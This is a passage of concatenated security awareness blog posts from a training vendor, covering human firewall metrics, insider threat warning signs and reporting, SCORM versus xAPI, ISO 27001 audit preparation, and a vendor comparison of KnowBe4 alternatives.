months of continuous practice. Security culture, the qualitative layer above the metrics, typically takes 18 to 24 months to fully set in. ### How do you measure a human firewall? Track five metrics: phishing click rate, phishing report rate, mean time to report, repeat-offender rate, and department risk score trend. Click rate under 5 percent, report rate above 20 percent, and time to report under five minutes are the targets for a working program by month six. Publishing these metrics to leadership every quarter turns the program from a compliance exercise into an operational capability. ### Can a human firewall replace technical security controls? No. A human firewall and technical controls are complements, not substitutes. Technical controls (email filters, EDR, MFA, network segmentation) handle the volume of automated attacks. Human firewalls handle the sophistication of targeted social engineering that gets past automated defenses, which is where most breach-level damage originates. ### What is the difference between security awareness training and human firewall training? Security awareness training is a broad category that includes everything from a compliance video to an interactive simulation. Human firewall training is a specific subset focused on changing behaviors: reporting, verifying, recognizing, hygiene, and context evaluation. A company can run security awareness training without building a human firewall. You cannot build a human firewall without training, but not every training program produces a human firewall. ## Build your human firewall with practice, not theory A human firewall is not a slogan. It is a measurable operational capability built on seven behaviors, trained through short, frequent, realistic exercises, and tracked with five concrete metrics. The organizations that take it seriously cut their successful-phishing rate by 70 to 80 percent and shorten their incident response window from days to minutes. The fastest way to start is to let your team feel what a trained response looks like. Try the free [Phishing](/exercises/phishing/), [Social Engineering](/exercises/social-engineering/), [Vishing](/exercises/vishing/), and [Business Email Compromise](/exercises/business-email-compromise/) exercises in the [learning library](/learning/). For a full program, the [security awareness catalogue](/catalogue/security-awareness/) and the [AI security catalogue](/catalogue/ai-security/) cover every pillar and every threat type described above. If you are benchmarking platforms during procurement, our head-to-heads against [Proofpoint](/blog/ransomleak-vs-proofpoint/) and [Phished](/blog/ransomleak-vs-phished/) compare scenario depth, automation, and behavior-change reporting side by side. --- ### Insider Threat Awareness Training for Employees Source: https://ransomleak.com/blog/insider-threat-training/ A systems administrator at a defense contractor copies classified schematics to a personal USB drive over the course of three months. His badge still works. His credentials are valid. He passes the same security checks as everyone else. Nothing in the firewall logs, intrusion detection system, or email gateway catches a thing. When the breach is finally discovered, it is not because a tool flagged it. A coworker noticed he was accessing project folders he had no business being in and mentioned it to their manager. That conversation, uncomfortable as it was, prevented months of additional exfiltration. External attackers need to break in. Insiders are already inside. ## What is an insider threat? An insider threat is any current or former employee, contractor, or business partner who uses their authorized access to harm the organization. That harm can be intentional (data theft, sabotage, espionage) or unintentional (negligent data handling, accidental exposure). The distinction matters because the two types require different responses. **Intentional insiders** act deliberately. They steal intellectual property before joining a competitor, exfiltrate customer data for personal profit, or sabotage systems after being passed over for a promotion. These cases involve planning, intent to deceive, and awareness that what they are doing is wrong. **Negligent insiders** cause damage through carelessness. They email sensitive files to the wrong person, leave laptops unlocked in coffee shops, or upload confidential documents to unapproved cloud services. There is no malicious intent, but the damage to the organization can be just as severe. The Ponemon Institute's 2024 Cost of Insider Threats report found that negligent insiders account for 55% of all insider incidents. [Shadow IT](/blog/shadow-it-security-risks/), where employees adopt unauthorized tools and services without IT approval, is one of the most common forms of negligent insider risk. This post focuses primarily on recognizing intentional insider threats, because those are the incidents where employee awareness makes the biggest difference in early detection. For accidental data exposure, see our post on [data leakage prevention and email security](/blog/email-security-training/) and try our [accidental insider threat exercise](/exercises/insider-threat-accidental/). ## Why insider threats are hard to detect External attacks trigger alarms. Failed login attempts, malware signatures, traffic from known-bad IP addresses. Security tools are built to detect outsiders trying to get in. Insiders produce none of those signals. They log in with valid credentials, during business hours, from expected locations. They access systems they are authorized to use. They download files through approved channels. Everything looks normal from a technical perspective, because it is normal, right up until the moment the data leaves the building. This is the fundamental detection problem: the difference between a trusted employee doing their job and a trusted employee stealing data often looks identical in the logs. ### They know the security controls Insiders understand what is monitored and what is not. An employee who has worked in your organization for two years knows whether USB drives are blocked, whether DLP rules scan outbound email, and whether anyone reviews access logs. They plan around these controls in ways external attackers cannot. ### The behavior shift is gradual Insiders rarely flip a switch from "loyal employee" to "active threat." The behavior changes incrementally over weeks or months. A few extra file downloads here. After-hours access that used to be rare becoming regular. Casual questions about projects outside their scope. Each individual action is explainable. The pattern is what matters. ### Relationships complicate reporting When a coworker's behavior raises concerns, the natural instinct is to assume the best. Maybe they are working on a cross-team project you do not know about. Maybe they had a personal reason for being in the office late. The social cost of reporting a colleague who turns out to be innocent feels high, which means many early warning signs go unreported. ## Behavioral indicators employees should watch for No single indicator proves malicious intent. People work late. People download files. People ask questions outside their lane. But certain patterns, especially when they cluster together or represent a change from someone's baseline behavior, warrant attention. ### Access pattern changes - Accessing files, databases, or systems outside their normal job responsibilities - Logging in at unusual hours with no work justification (late night, weekends, holidays) - Accessing data volumes significantly larger than their role requires - Continuing to access systems after being notified of a role change, transfer, or termination The key word is "change." An engineer who has always worked weekends is not suspicious for logging in on Saturday. An accountant who suddenly starts logging in at midnight after three years of 9-to-5 is worth noting. ### Data handling anomalies - Downloading large volumes of files to local storage or personal devices - Emailing documents to personal email accounts - Using unauthorized USB drives, especially in environments where removable media is restricted - Printing unusual volumes of sensitive documents - Uploading files to personal cloud storage services These behaviors overlap with [data leakage](/exercises/data-leakage/) indicators. The difference is intent. Negligent data handling tends to be sporadic and careless. Intentional exfiltration tends to be systematic and targeted. ### Workplace behavior signals - Expressing strong dissatisfaction with the organization, management, or compensation, particularly if sudden or escalating - Discussing resignation or competitor opportunities while accessing sensitive files - Showing unusual interest in projects, clients, or data outside their role - Asking colleagues for their credentials or access to systems they do not normally use - Resisting or circumventing security policies they previously complied with These are the hardest signals to evaluate because workplace frustration is common and usually harmless. Context matters enormously. A frustrated employee venting about a bad performance review is not the same as a frustrated employee venting about a bad performance review while copying the customer database to a USB drive. ### Pre-departure indicators The period between when someone decides to leave and when they actually give notice is the highest-risk window for insider data theft. Research from Securonix found that 56% of insider threat incidents occur within 90 days of an employee's resignation. Warning signs during this period include: - Bulk downloads of files the employee created or contributed to, especially if they are trying to "take their work with them" - Accessing old projects or archived data they have not touched in months - Clearing browser history, deleting local files, or wiping communications in a pattern that suggests cover-up rather than routine cleanup - Forwarding contact lists, client information, or proprietary documents to personal accounts ## How to report suspected insider threats The reporting part is where most people hesitate. Nobody wants to falsely accuse a colleague. The discomfort is legitimate. But early reporting is not accusation. It is providing information so trained professionals can assess whether further investigation is warranted. ### What to report Report specific observations, not conclusions. "I noticed Alex downloading files from the R&D share at 11 PM three nights this week" is useful. "I think Alex is stealing our trade secrets" is a conclusion that may or may not be correct. Stick to what you saw, when you saw it, and why it stood out to you. ### Where to report Most organizations have a designated channel for insider threat concerns. This could be: - Your direct manager (if they are not the subject of the concern) - The security team or CISO office - An anonymous ethics or compliance hotline - HR, if the concern involves a departing employee If you are unsure which channel to use, your security team should be the default. They are trained to handle these reports confidentially and to assess whether further action is needed. ### What happens after you report This is where organizations often fail. If employees report concerns and never hear anything back, they stop reporting. A healthy [reporting culture](/exercises/reporting-culture/) closes the loop. You may not learn the details of the investigation (and should not, in most cases), but you should hear that your report was received, taken seriously, and acted on. Our [insider threat exercise](/exercises/insider-threat-intentional/) walks through realistic scenarios where you practice making these reporting decisions and documenting observations without jumping to conclusions. ## Common misconceptions about insider threats ### "Our employees are loyal. This does not apply to us." The 2024 Ponemon report found that organizations experience an average of 5.4 insider incidents per year. Company size, industry, and employee satisfaction all affect the rate, but no organization is immune. Insider threats are a statistical reality, not a reflection of how good your workplace culture is. ### "Our DLP tools will catch it." Data loss prevention tools are important, but they have blind spots. They are configured to catch known patterns: credit card numbers in emails, Social Security numbers in uploads. An employee who exports a strategy document, a client contact list, or a proprietary algorithm may not trigger any DLP rule because the content does not match predefined patterns. Human observation catches what automated tools miss. ### "This is a security team problem, not mine." Security teams cannot monitor every interaction between every employee. They lack the contextual awareness that coworkers have. You know what your colleague's normal work pattern looks like. You notice when someone starts behaving differently. The security team sees login events and file transfers. You see the person behind them. Both perspectives are needed. ### "Reporting feels like surveillance or snitching." This is the most common barrier to effective insider threat programs. The framing matters. Reporting is not about policing your colleagues. It is about protecting the organization, its customers, and the people who work there. If a colleague is stealing data, the consequences fall on everyone: regulatory fines, lost contracts, reputational damage, layoffs. Reporting also protects innocent people. When a security team investigates early, they can clear someone whose behavior had a legitimate explanation before suspicion escalates. ## Building an insider threat program that employees support Insider threat awareness training works best when it is part of a broader organizational approach that employees trust. ### Transparency about monitoring Employees should know what is monitored and why. Organizations that deploy user activity monitoring in secret create the exact distrust that undermines reporting culture. When monitoring policies are clear and consistently applied, employees are more likely to see them as protective rather than invasive. ### Consistent enforcement If the same access policies apply to executives and interns alike, employees take them seriously. If senior leaders routinely bypass security controls, everyone gets the message that the rules are optional. Insider threat programs lose credibility the moment they appear to apply selectively. ### Proportional response How the organization handles reported concerns directly affects future reporting. If a report leads to a discreet, professional investigation, employees will report again. If it leads to a public confrontation, gossip, or retaliation against the reporter, nobody will report anything again. ### Training on the "why" Training that simply lists behavioral indicators and tells people to report them misses the most important part: why this matters to the person being trained. Insider data theft can lead to regulatory penalties that affect bonuses, contract losses that trigger layoffs, and reputational damage that makes it harder for everyone to do their job. When employees understand the personal stakes, the motivation to report is intrinsic rather than imposed. ## The intersection with access management Insider threat risk increases when access controls are loose. An employee cannot exfiltrate data they cannot reach. Proper [data classification](/blog/data-classification-training/) is the foundation: without clear labels on what is Confidential versus Internal, DLP tools have nothing to enforce and access reviews have no standard to evaluate against. Organizations that follow the principle of least privilege, granting only the minimum access needed for each role, reduce the potential damage any single insider can cause. Three related security habits make insider threats harder to execute: - **Regular access reviews** catch orphaned permissions from old roles. If an employee transferred from finance to marketing six months ago and still has access to financial systems, that is both a compliance gap and an insider threat opportunity. - **Just-in-time access** grants elevated permissions for specific tasks with automatic expiration. No standing admin access means fewer opportunities for abuse. - **Separation of duties** ensures no single person can complete a high-risk action alone. If stealing data requires access to both a database and an export tool controlled by different teams, the bar for a solo insider is higher. --- *Practice identifying insider threat warning signs before you face a real one. [Try our free insider threat exercise](/exercises/insider-threat-intentional/) and work through realistic workplace scenarios where a colleague's behavior starts raising quiet red flags. Explore our full [security awareness training catalogue](/catalogue/security-awareness/) for exercises on data leakage prevention, reporting culture, and access management.* --- ### Is SCORM Still Relevant in 2026? Source: https://ransomleak.com/blog/is-scorm-still-relevant/ SCORM turns 25 this year. The standard has been declared dead at least once every two years since 2015, and every time, the corporate LMS market responds by continuing to ship it as the default option. If you are evaluating a training platform in 2026, the SCORM question is real. You want to know whether the format will still be supported five years from now, whether newer standards like xAPI or cmi5 offer meaningful advantages, and whether your LMS can actually read them. The short answer: SCORM is not dead, not replaced, and not going anywhere in the enterprise training stack this decade. The longer answer has caveats. ## What is SCORM and why does the question keep coming up? SCORM (Sharable Content Object Reference Model) is a packaging and runtime standard for e-learning content. It defines how a training course is bundled into a ZIP file, how it communicates progress back to a host LMS, and which completion states are valid. Versions 1.2 (released 2001) and 2004 (released 2004, updated to Edition 4 in 2009) are both still widely used. The standard has been criticized for well-documented limitations: browser-only playback, limited tracking beyond completion and score, no offline support, and awkward integration with modern JavaScript frameworks. Those criticisms are correct. They are also mostly irrelevant to why organizations keep shipping SCORM. The format persists because it solves exactly one problem well: it lets a content vendor deliver a course that runs on an LMS the vendor has never seen, tested, or integrated with. That portability is unmatched by any newer standard in actual production use, which is why the question "is SCORM still relevant?" gets asked every year and answered the same way. ## Where does SCORM still win in 2026? Three qualities keep SCORM in the enterprise stack. **Universal LMS support.** Every major corporate LMS in 2026 supports SCORM 1.2 and SCORM 2004. This includes Cornerstone, SAP SuccessFactors, Workday Learning, Degreed, Docebo, LearnUpon, TalentLMS, Absorb, and the hundred other platforms your customers might use. Support for xAPI is inconsistent. Support for cmi5 is rare. SCORM is the only standard you can assume will work. **Stable runtime contract.** A SCORM course written in 2010 still runs correctly on a 2026 LMS. The runtime API has not changed in fifteen years. Compare that to any JavaScript framework contract from 2010. **Zero integration work.** Upload a SCORM ZIP to any LMS and it runs. No API keys, no webhook configuration, no OAuth dance. For a security awareness vendor shipping content to hundreds of customer LMSs, this is the difference between a sales cycle of days and a sales cycle of months. ## Where does SCORM fall short? SCORM was designed for page-turner courses with quizzes at the end. It handles that case well. Anything more ambitious becomes painful. **Tracking is thin.** SCORM tracks lesson completion, score, and time spent. That is nearly all it tracks. If you want to know which specific questions an employee answered correctly, which decision points they hesitated on, or how many times they replayed a video, SCORM will not tell you. **No native offline support.** SCORM runtime assumes a constant connection to the LMS. Mobile apps that need to deliver training on airplanes or in manufacturing plants have to work around this assumption with custom wrappers. **No cross-platform learning.** If a learner watches a training video on YouTube, reads a related article, and then takes a quiz, SCORM only captures the quiz. The surrounding experience is invisible to the LMS. **Awkward inside modern frameworks.** SCORM uses a legacy window.API handshake designed for pop-up windows. Integrating it into a React or Vue-based player requires glue code that most teams eventually curse. ## SCORM vs xAPI vs cmi5 This is the comparison most buyers ask about. | Standard | Purpose | LMS support (2026) | Strengths | Weaknesses | |----------|---------|---------------------|-----------|-------------| | SCORM 1.2 | Package + runtime | Universal | Portable, stable | Thin tracking | | SCORM 2004 | Package + runtime | Wide | Sequencing, navigation | Complex, still browser-only | | xAPI | Statement API | Inconsistent | Rich, flexible tracking | Needs an LRS, fragmented ecosystem | | cmi5 | Packaging over xAPI | Rare | Modern, combines both worlds | Barely adopted | xAPI (Experience API, sometimes called Tin Can) is genuinely more capable. It records arbitrary "actor verb object" statements to a Learning Record Store (LRS). It can track learning that happens outside an LMS. It is the right foundation for modern learning analytics. The problem is that corporate LMS vendors have treated xAPI support as a checkbox feature for a decade. Most "xAPI support" means the LMS accepts xAPI statements if you send them but provides no reporting on top of them. The gap between what xAPI enables and what LMSs actually surface is enormous. cmi5 was designed to fix this by combining SCORM-style packaging with xAPI tracking. It solves the problem on paper. Adoption in 2026 remains minimal, with the US Department of Defense ADL Initiative and a handful of government training programs as the main production users. ## When should you still choose SCORM? Choose SCORM in 2026 if any of the following apply: - Your content must run on customer-owned LMSs you cannot control - You need a packaging format that will still work in 2031 - Your buyers are corporate L&D teams who already think in SCORM - Your LMS integration budget is zero Choose xAPI or cmi5 if you control the learning platform end to end, you genuinely need rich learning analytics, and your LMS or LRS vendor supports them as a first-class feature rather than an afterthought. The pragmatic pattern most security awareness vendors land on is to ship SCORM by default and add xAPI statements as a supplementary signal when the customer LMS accepts them. SCORM does the work. xAPI does the observation. ## What does SCORM look like in security awareness training? Security awareness content has specific constraints that favor SCORM. Exercises need to deploy into customer LMSs from dozens of vendors. Deployment cycles are measured in weeks, not quarters. Buyers expect SCORM 1.2 as the baseline deliverable in any security training RFP. RansomLeak exports every exercise as SCORM 1.2 by default. Customers load the ZIP into whichever LMS they own, learners take the training, and completion reports flow back through the standard runtime. For organizations that want deeper analytics, we deliver xAPI statements in parallel so the richer data is available without making SCORM optional. This is the pattern most [security training vendors](/blog/knowbe4-alternatives/) in this space converge on, and it is not because SCORM is better than xAPI. It is because SCORM is the only standard the market actually enforces. Open-source LMS deployments face the same reality. Our guide on [open-source LMS security training](/blog/open-source-lms-security-training/) covers the tradeoffs, and our [SCORM security training deep dive](/blog/scorm-security-training/) covers the packaging and delivery details for anyone building or buying SCORM content in 2026. ## The honest answer for 2026 SCORM is not exciting. It is not modern. It will not let you run a beautiful event-stream analytics dashboard of how your employees think about phishing. What it will do is run your security training reliably on every LMS your customer might have, for the next decade, without a services engagement. For most security awareness budgets, that is the decision. The interesting question is not whether SCORM is dead. It is what you plan to do on top of it when xAPI support finally ships. --- *Ship security awareness training that works on every enterprise LMS. Browse our [free security awareness training catalogue](/catalogue/security-awareness/) for 100+ interactive exercises delivered as SCORM 1.2, or read our [SCORM security training deep dive](/blog/scorm-security-training/) for the full technical picture.* --- ### Preparing Employees for ISO 27001 Audits Source: https://ransomleak.com/blog/iso-27001-awareness-training/ A new auditor sits across from a customer-success manager and asks one question: "Where would you find the acceptable-use policy for email?" The manager stares at the screen, opens the intranet, and quietly admits she is not sure which of three documents is current. Her company is halfway through an ISO 27001 Stage 2 audit. This conversation repeats, in slightly different forms, at every ISO 27001 certification. It is not a compliance failure. It is an awareness failure, and it costs organizations real certifications when auditors decide the [information security management system](/exercises/isms-policy-awareness/) exists on paper but not in practice. ## What is ISO 27001 awareness training? ISO 27001 awareness training is structured education that teaches employees the policies, responsibilities, and daily behaviors an organization commits to under the ISO/IEC 27001 information security management standard. It covers acceptable use, incident reporting, data classification, and the questions auditors ask employees during certification interviews. The goal is not recitation but readiness. Any employee, at any moment in the audit window, should be able to describe the policies that apply to them and point to where those policies live. Clause 7.3 of ISO/IEC 27001:2022 makes awareness a mandatory control. Organizations must ensure that every person performing work under their control is aware of the information security policy, their contribution to the ISMS, the implications of non-conformance, and the benefits of improved performance. Auditors interpret "aware" literally. They pick employees at random and ask them. This is different from broad [compliance training](/blog/compliance-training/) that surveys multiple frameworks at once, because ISO 27001 requires depth on one specific management system including the evidence trail that shows the system is alive. For the Annex A 6.3 framework breakdown end-to-end, see our [ISO 27001 awareness training framework guide](/compliance/iso-27001/). This post focuses on the audit-prep angle: the questions certification bodies actually ask. ## Who needs ISO 27001 training in an organization? Everyone who performs work under the organization's control. Clause 7.3 does not exempt contractors, temporary staff, or agency workers. If they read company email or touch company data, they are in scope. In practice, organizations running a real ISMS split the audience into three bands. All staff receive baseline awareness: what the [acceptable-use policy](/exercises/internet-email-acceptable-use/) requires, how to report security events, and where the ISMS documentation lives. Role-specific staff receive deeper content, for example HR on joiner-mover-leaver controls, developers on secure development, and procurement on supplier vetting. Managers receive an [audit-mindset briefing](/exercises/audit-mindset-basics/) that prepares them to represent their team in front of an auditor. Evidence of each band lives in the training records the auditor will sample. If records for contractors are missing, that is a finding. ## What topics does ISO 27001 awareness training cover? The 2022 revision of ISO/IEC 27001 reorganized Annex A into four themes: organizational, people, physical, and technological. Awareness training touches each theme at a practical level rather than reading the standard aloud. Organizational controls show up as policy literacy and an understanding of each employee's own [security responsibilities](/exercises/employee-security-responsibilities/). People controls include background screening, confidentiality, and the disciplinary process, most of which are familiar from HR onboarding but need to be re-surfaced explicitly in the ISMS context. Physical controls cover clear-desk practice, secure disposal, and visitor management. Technological controls translate into day-to-day habits: MFA, cautious link-clicking, data classification, and secure remote work. A good training program does not lecture on all of Annex A at once. It sequences the controls to the employee's real workflow and revisits them in short, scenario-based modules throughout the year. ## How do you prepare employees for an ISO 27001 audit? Auditors do not quiz staff on clause numbers. They observe behavior, ask for evidence, and interview a sample of employees. Preparation means rehearsing the three moments that go wrong most often. First, the "show me" moment. An auditor asks where the information security policy lives. Employees should be able to open it within ten seconds from any device they work on. Second, the "what would you do" moment. An auditor describes a scenario, such as a lost phone, an unexpected USB drive, or a suspicious attachment, and listens for the reporting path. This is where [audit-portal drills](/exercises/audit-portal-training/) make the difference between a smooth conversation and a finding. Third, the traceability moment. An auditor asks an employee to describe a recent change to a system and then checks whether the change actually follows the documented process. If the employee improvises, the finding is recorded against the ISMS. Our [privacy and compliance catalogue](/catalogue/privacy-compliance/) includes immersive scenarios for each of these moments, so staff practice the response before the audit rather than during it. ## How often should ISO 27001 awareness training run? Annually is the floor, not the target. ISO/IEC 27001 requires awareness to be "appropriate to the function", which auditors increasingly read as continuous and contextual rather than a single session per year. Mature programs refresh short modules every month, tie training to events such as new hires, policy updates, and incidents, and measure comprehension through scenario-based assessments rather than multiple choice. The [security awareness training guide](/blog/security-awareness-training-guide/) goes deeper on cadence and formats. For ISO 27001 specifically, keep the records granular enough to show who did what and when, because that record is the evidence the auditor will sample. Organizations already running a [GDPR employee training program](/blog/gdpr-employee-training/) often find their ISO 27001 content overlaps on acceptable use, incident reporting, and third-party handling. Building them as a single awareness backbone saves effort and tightens both audit trails. EU teams within scope of the [NIS2 directive](/blog/nis2-training/) should map the same modules against NIS2 management-accountability and incident-reporting obligations, and US healthcare organizations can reuse the incident-reporting and acceptable-use content as the core of a [HIPAA security awareness training](/blog/hipaa-security-awareness-training/) program. ## What does audit-ready look like in practice? When an auditor walks into a mature ISO 27001 program, three signals stand out. Employees talk about policies by name rather than as "that training module". They can show where the policy lives in under ten seconds. When asked about a scenario they have not personally encountered, they describe the reporting path first and the technical response second. That order is the difference between a clean finding and a conversation that drags a full morning of the audit window. If your ISMS is approaching a Stage 2 audit or a surveillance review, [book a walkthrough with our team](/contact-us/) to see immersive training that rehearses the moments your auditor will actually test. --- ### KnowBe4 Alternatives: 8 Platforms Compared Source: https://ransomleak.com/blog/knowbe4-alternatives/ KnowBe4 [dominates the security awareness training market](https://www.sec.gov/cgi-bin/browse-edgar?action=getcompany&CIK=0001839882&type=&dateb=&owner=include&count=40). But market dominance doesn't mean every organization is best served by the leader. Whether you're evaluating options for the first time, outgrowing your current solution, or discovering that KnowBe4's approach doesn't match your needs, alternatives exist across every price point and feature set. We've been in this space long enough to know that the right [security awareness training](/blog/security-awareness-training-guide/) platform depends entirely on your specific context. This comparison covers what different platforms offer, where they excel, and which organizational contexts they serve best. ## Why do organizations seek KnowBe4 alternatives? Before comparing platforms, it helps to understand why buyers look beyond the obvious choice: Pricing is the most common concern. KnowBe4's per-user licensing creates significant costs at scale. Organizations with thousands of users or tight budgets explore alternatives with different pricing models. If you're measuring [training ROI](/blog/security-awareness-training-effectiveness/) carefully against the [cost of a breach](https://www.ibm.com/reports/data-breach), those per-seat costs add up fast. Buyers who want the wider category context often start with our [best security awareness training of 2026](/blog/best-security-awareness-training-2026/) roundup before narrowing to a shortlist. Content approach matters more than people expect. KnowBe4's content library is extensive, but some organizations find the style doesn't resonate with their workforce. [Training effectiveness depends on engagement](https://www.sans.org/security-awareness-training/reports/), and engagement depends on content fit. Feature requirements diverge by company. Some organizations need capabilities KnowBe4 doesn't prioritize: [interactive simulations](/blog/phishing-simulation-training/), specific [compliance frameworks](/blog/compliance-training/), or particular LMS integrations like [SCORM export or an LTI 1.3 launch](/lms-integration/). Vendor diversity is another driver. Mature security programs avoid single-vendor dependency. Evaluating alternatives ensures competitive pricing and informed decisions. User experience trips up more admins than you'd think. Platform interfaces vary significantly. Organizations switching from one platform often cite usability as a primary driver. ## RansomLeak: interactive simulation-first training Full disclosure: this is our platform. We'll describe what we offer honestly, including what we do well and where we're building. ### What sets RansomLeak apart Rather than video content followed by quizzes, RansomLeak exercises place employees in realistic 3D scenarios where they must identify threats, make decisions, and experience consequences in simulated environments. Think of it as the difference between reading about [social engineering](/blog/social-engineering-attacks/) and actually experiencing it. Our exercises use gamification, branching narratives, and immediate feedback to maintain attention and drive completion. Completion rates consistently exceed industry benchmarks. Not because we make it easy, but because employees genuinely want to finish. SCORM and LTI are both built in. Export any content as [SCORM packages](/lms-integration/), or launch RansomLeak in your LMS over LTI 1.3 with automatic grade passback. One-click export, verified on Moodle and Canvas. Among the platforms compared here, RansomLeak is the only one that documents an LTI 1.3 launch. Deployment is flexible. Use our cloud platform for full analytics and campaign management, or deploy SCORM packages or register an LTI 1.3 tool in your existing LMS. ### Best for - Organizations that care about engagement and behavior change, not just checkbox compliance (the [human element still factors into the majority of breaches](https://www.verizon.com/business/resources/reports/dbir/)) - Companies with existing LMS investments wanting SCORM or LTI 1.3 delivery - Teams that have tried video-based training and found it ineffective - Organizations seeking interactive simulations without enterprise complexity ### Honest limitations - Smaller content library than established market leaders (we're growing) - Newer platform means less market validation (we're proving ourselves) - Some enterprise features still in development ### Pricing Competitive per-user pricing with volume discounts. Free trial available with no credit card required. [Explore RansomLeak exercises](/catalogue/) ## Proofpoint security awareness training Proofpoint acquired Wombat Security and integrates awareness training with their [email security](/blog/email-security-training/) platform. ### Strengths Organizations using Proofpoint for email protection benefit from unified reporting and threat intelligence that informs training content. That integration is genuinely useful if you're already in their ecosystem. Years of development produced a broad training module library covering most security topics. Enterprise-scale deployments are well-tested across large organizations with complex requirements. ### Considerations Enterprise-focused pricing may not suit smaller organizations. You get the most value by adopting the full Proofpoint suite, which may not align with your security architecture. The traditional video-heavy approach may not maximize engagement for all audiences. ### Best for - Organizations already invested in Proofpoint email security - Enterprise buyers seeking integrated security platforms - Compliance-focused programs prioritizing completeness over engagement ## Cofense (formerly PhishMe) Cofense focuses specifically on [phishing simulation](/blog/phishing-simulation-training/) and response. If [phishing is your number one concern](https://www.ic3.gov/AnnualReport/Reports), they've built their entire platform around it. ### Strengths Deep focus on phishing simulation creates sophisticated testing capabilities. They offer options for fully-managed phishing programs, which reduces internal resource requirements. PhishMe's origins created strong workflows for reporting and responding to real attacks, including [business email compromise](/blog/bec-training/) scenarios that the [FBI tracks as the costliest cybercrime category](https://www.ic3.gov/). ### Considerations The narrow focus means less general security awareness content compared to broader platforms. Advanced features create learning curves for program administrators. Pricing can become expensive for organizations wanting a full program beyond phishing. ### Best for - Organizations prioritizing phishing simulation over general awareness - Security teams wanting managed simulation services - Mature programs needing advanced simulation capabilities ## Mimecast awareness training Mimecast acquired Ataata to add awareness training to their email security platform. ### Strengths Similar to Proofpoint, organizations using Mimecast for email benefit from integrated reporting. Training recommendations based on email security data and threat exposure allow risk-based targeting. Their micro-learning approach suits organizations seeking minimal time commitment per session. ### Considerations The value proposition is strongest within the Mimecast ecosystem. Ataata integration is still maturing in some areas. Customization is more limited than some alternatives for organizations with specific content needs. ### Best for - Existing Mimecast email security customers - Organizations preferring micro-learning formats - Buyers seeking integrated email security and training ## SANS security awareness SANS brings their technical training reputation to security awareness. The brand name carries weight with security professionals. ### Strengths SANS brand recognition matters for technical audiences who expect authoritative content. Their library goes deep, covering topics well beyond basic awareness. Role-based training provides strong differentiation for technical vs. non-technical audiences. ### Considerations SANS quality commands premium pricing that may exceed budgets. Content may be more technical than general workforce needs. The platform interface reflects enterprise software more than modern SaaS, which can frustrate admins used to cleaner tools. ### Best for - Organizations with technical workforces that trust the SANS name - Buyers prioritizing content depth over engagement features - Companies with training budgets supporting premium solutions ## Terranova security Terranova focuses on human risk management with awareness training as one component of a broader approach. ### Strengths Their behavior-focused approach emphasizes behavior change beyond simple awareness metrics. Strong internationalization and multilingual content serves global organizations well. Content mapped to specific regulatory requirements helps with [compliance-driven programs](/blog/compliance-training/). ### Considerations Platform capabilities can be difficult to evaluate quickly because of complex positioning. Lower visibility than market leaders may concern some buyers during procurement. ### Best for - Global organizations needing multilingual content - Compliance-driven programs requiring specific regulatory mapping - Buyers interested in behavior-focused approaches ## Comparison matrix | Platform | Best for | Content style | Phishing sim | LMS export | Pricing | |----------|----------|---------------|--------------|------------|---------| | RansomLeak | Engagement-focused orgs | Interactive 3D | Yes | SCORM + LTI 1.3 | Competitive | | KnowBe4 | Large enterprises | Video + Quiz | Yes | SCORM (limited) | Per-user | | Proofpoint | Email security customers | Video | Yes | SCORM | Enterprise | | Cofense | Phishing-focused | Varies | Advanced | SCORM (limited) | Enterprise | | Mimecast | Mimecast customers | Micro-learning | Yes | SCORM (limited) | Bundled | | SANS | Technical orgs | In-depth | Yes | SCORM | Premium | | Terranova | Global compliance | Behavior-focused | Yes | SCORM | Mid-range | ## How to evaluate alternatives ### Define your requirements Before comparing platforms, clarify what matters most. Must-haves to nail down first: - What features are non-negotiable? - What integrations are required? - What [compliance requirements](/blog/compliance-training/) must be met? - What budget constraints exist? Nice-to-haves worth considering: - What features would improve the program? - What future needs should you plan for? - What would make administration easier? ### Request demonstrations Platform demos should address: - Admin experience for program management - User experience for employees - Reporting and analytics capabilities - Integration processes, especially [SCORM workflows](/blog/scorm-security-training/) - Content library breadth and quality ### Run pilot programs Before committing, test with real users: - Deploy to a small group - Measure completion rates and engagement - Gather user feedback - Evaluate admin effort required - Confirm integration functionality ### Evaluate total cost Consider costs beyond licensing: - Implementation and configuration effort - Ongoing administration time - Content customization needs - Training for program administrators - Integration maintenance ## Questions to ask vendors About content: How frequently is content updated? Can you preview the full library before purchase? How do you handle content that doesn't resonate with users? What customization options exist? About [phishing simulation](/blog/phishing-simulation-training/): How realistic are simulation templates? Can you create custom simulations? How do you handle false positives (mail security catching simulations)? What reporting is available at individual, department, and organizational levels? About integration: Which LMS platforms have you tested with? What's the [SCORM export or LTI 1.3 launch](/lms-integration/) process? How do you integrate with email systems? What SSO options are supported? About support: What's included in base pricing vs. additional cost? What's typical response time for issues? Is there a customer success resource assigned to accounts? How do you help customers succeed, not just use the platform? ## How do you choose the right KnowBe4 alternative? ### When to stay with KnowBe4 KnowBe4 remains the right choice if: - You're satisfied with current results - Budget isn't a primary constraint - Content style resonates with your workforce - You value market leadership and ecosystem size ### When to switch Consider alternatives when: - Engagement and completion rates are disappointing - Pricing creates budget pressure at scale - Specific features you need are missing - Your organization has outgrown the initial solution ### When to choose RansomLeak We're the right fit if: - Interactive simulations matter more than content volume - [SCORM or LTI 1.3 delivery](/lms-integration/) is required - Engagement drives your training effectiveness - You want to [try quality training](/learning/) before committing The right security awareness platform depends on your organizational context, priorities, and constraints. Define requirements clearly. Evaluate multiple options. Test before committing. The platform that creates behavior change in your workforce is the one worth choosing, regardless of market share. For deeper comparisons with specific vendors, see our detailed side-by-side analyses: [RansomLeak vs KnowBe4](/blog/ransomleak-vs-knowbe4/), [RansomLeak vs Proofpoint](/blog/ransomleak-vs-proofpoint/), [RansomLeak vs Hoxhunt](/blog/ransomleak-vs-hoxhunt/), [RansomLeak vs Ninjio](/blog/ransomleak-vs-ninjio/), [RansomLeak vs Phished](/blog/ransomleak-vs-phished/), [RansomLeak vs SoSafe](/blog/ransomleak-vs-sosafe/), and [RansomLeak vs Usecure](/blog/ransomleak-vs-usecure/). If you are evaluating Hoxhunt specifically, our [Hoxhunt alternatives comparison](/blog/hoxhunt-alternatives/) covers the eight platforms buyers most often shortlist against it. --- *Experience interactive security training that prioritizes engagement. Try our free [Phishing](/exercises/phishing/), [Social Engineering](/exercises/social-engineering/), or [Business Email Compromise](/exercises/business-email-compromise/) exercises. Browse our full [training catalogue](/catalogue/) for 60+ interactive exercises. No sales pitch, just quality training you can evaluate on your own terms.* --- ### Mobile Security Training for Remote Teams Source: https://ransomleak.com/blog/mobile-security-training/ Your employees stopped working from secure office 